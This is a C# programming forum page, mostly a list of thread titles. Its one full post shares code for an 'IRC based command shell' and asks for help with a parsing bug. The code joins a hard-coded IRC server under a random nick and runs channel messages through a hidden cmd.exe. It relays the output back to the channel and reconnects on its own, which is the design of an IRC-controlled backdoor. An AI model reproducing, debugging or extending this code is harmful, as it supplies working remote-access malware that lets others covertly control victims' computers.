Click here to Skip to main content
15,910,787 members
Home / Discussions / C#
   

C#

 
GeneralRe: How to Send & Receive data using USB port in C# Pin
Richard Andrew x6422-Oct-12 7:48
professionalRichard Andrew x6422-Oct-12 7:48 
SuggestionRe: How to Send & Receive data using USB port in C# Pin
Marco Bertschi22-Oct-12 21:43
protectorMarco Bertschi22-Oct-12 21:43 
QuestionError: Calling C++ dll function in C# Pin
taibc21-Oct-12 17:33
taibc21-Oct-12 17:33 
SuggestionRe: Error: Calling C++ dll function in C# Pin
Richard MacCutchan21-Oct-12 21:59
mveRichard MacCutchan21-Oct-12 21:59 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc21-Oct-12 22:01
taibc21-Oct-12 22:01 
GeneralRe: Error: Calling C++ dll function in C# Pin
Richard MacCutchan21-Oct-12 22:55
mveRichard MacCutchan21-Oct-12 22:55 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc21-Oct-12 23:28
taibc21-Oct-12 23:28 
GeneralRe: Error: Calling C++ dll function in C# Pin
Richard MacCutchan21-Oct-12 23:34
mveRichard MacCutchan21-Oct-12 23:34 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc21-Oct-12 23:40
taibc21-Oct-12 23:40 
GeneralRe: Error: Calling C++ dll function in C# Pin
Richard MacCutchan21-Oct-12 23:41
mveRichard MacCutchan21-Oct-12 23:41 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc21-Oct-12 23:45
taibc21-Oct-12 23:45 
GeneralRe: Error: Calling C++ dll function in C# Pin
Richard MacCutchan22-Oct-12 0:08
mveRichard MacCutchan22-Oct-12 0:08 
GeneralRe: Error: Calling C++ dll function in C# Pin
Richard MacCutchan22-Oct-12 0:10
mveRichard MacCutchan22-Oct-12 0:10 
GeneralRe: Error: Calling C++ dll function in C# Pin
J4amieC22-Oct-12 0:25
J4amieC22-Oct-12 0:25 
GeneralRe: Error: Calling C++ dll function in C# Pin
Richard MacCutchan22-Oct-12 1:05
mveRichard MacCutchan22-Oct-12 1:05 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc22-Oct-12 0:37
taibc22-Oct-12 0:37 
GeneralRe: Error: Calling C++ dll function in C# Pin
Richard MacCutchan22-Oct-12 1:03
mveRichard MacCutchan22-Oct-12 1:03 
AnswerRe: Error: Calling C++ dll function in C# Pin
BobJanova22-Oct-12 4:20
BobJanova22-Oct-12 4:20 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc22-Oct-12 15:51
taibc22-Oct-12 15:51 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc22-Oct-12 16:43
taibc22-Oct-12 16:43 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc23-Oct-12 17:44
taibc23-Oct-12 17:44 
AnswerRe: Error: Calling C++ dll function in C# Pin
taibc22-Oct-12 23:04
taibc22-Oct-12 23:04 
GeneralRe: Error: Calling C++ dll function in C# Pin
mphill474423-Oct-12 7:10
mphill474423-Oct-12 7:10 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc23-Oct-12 17:07
taibc23-Oct-12 17:07 
Questionsmall IRC Based command shell Pin
seangroves21-Oct-12 13:42
seangroves21-Oct-12 13:42 
Hi all, I've written a shell with IRC as it's communication method, all seems fine and this technique works.. well, soft of. The problem with the following code is that type ".cmd dir" or ".cmd echo hello" I get the expect return as you would from the cmd shell, but when I type something like ".cmd cd c:\windows\" it thinks i've written "dows\" where did the rest of the command go?

C#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
public static class ircConnect
    {

    public static int PORT = 6667;
    public static string SERVER = "194.14.236.50";
    public static string NICK = ircnick.generate(true);
    private static string USER = "USER varta 8 * : varta irc shell";
    public static string CHANNEL = "#channel";
    public static StreamWriter writer;
    public static Process processCmd;
    public static bool begin = false;
    public static string ExecuteCommandSync(object command)
    {
        try
        {
            StringBuilder strInput = new StringBuilder();

            if (!begin)
            {
                processCmd = new Process();
                processCmd.StartInfo.FileName = "cmd.exe";
                processCmd.StartInfo.CreateNoWindow = true;
                processCmd.StartInfo.UseShellExecute = false;
                processCmd.StartInfo.RedirectStandardOutput = true;
                processCmd.StartInfo.RedirectStandardInput = true;
                processCmd.StartInfo.RedirectStandardError = true;
                processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                processCmd.Start();
                processCmd.BeginOutputReadLine();
            }
            strInput.Append(command);
            strInput.Append("\n");
            processCmd.StandardInput.WriteLine(command);
            strInput.Remove(0, strInput.Length);
            // Get the output into a string

            

        }
        catch (Exception objException)
        {
            // Log the exception
        }
        return "Error executing commands";
    }

    public static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                writer.WriteLine("PRIVMSG #channel :" + strOutput + "\r\n");
                writer.Flush();
            }
            catch (Exception err) { }

        }
    }
    public static void processInput(string Commands)
    {
        if (Commands.Contains(".cmd"))
        {
            
            string cmd = Commands;
            int offset = cmd.LastIndexOf(":") + 6;
            string sendCmd = ExecuteCommandSync(cmd.Substring(offset, cmd.Length - offset));
            if (!begin) begin = true;
            Thread.Sleep(2000);
        }
    }

    public static void connect()
    {
        NetworkStream stream;
        TcpClient irc;
        string inputLine;
        StreamReader reader;
        try
        {
            irc = new TcpClient(SERVER, PORT);
            stream = irc.GetStream();
            reader = new StreamReader(stream);
            writer = new StreamWriter(stream);
            // Start PingSender thread
            PingSender ping = new PingSender();
            ping.Start();
            writer.WriteLine(USER);
            writer.Flush();
            writer.WriteLine("NICK " + NICK);
            writer.Flush();
            writer.WriteLine("JOIN " + CHANNEL);
            writer.Flush();

            while (true)
            {
                while ((inputLine = reader.ReadLine()) != null)
                {
                    Console.WriteLine(inputLine);
                    processInput(inputLine);

                }
                // Close all streams
                writer.Close();
                reader.Close();
                irc.Close();
            }
        }
        catch (Exception e)
        {
            // Show the exception, sleep for a while and try to establish a new connection to irc server
            Console.WriteLine(e.ToString());
            Thread.Sleep(5000);
            string[] argv = { };
            connect();
        }
    }
}

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.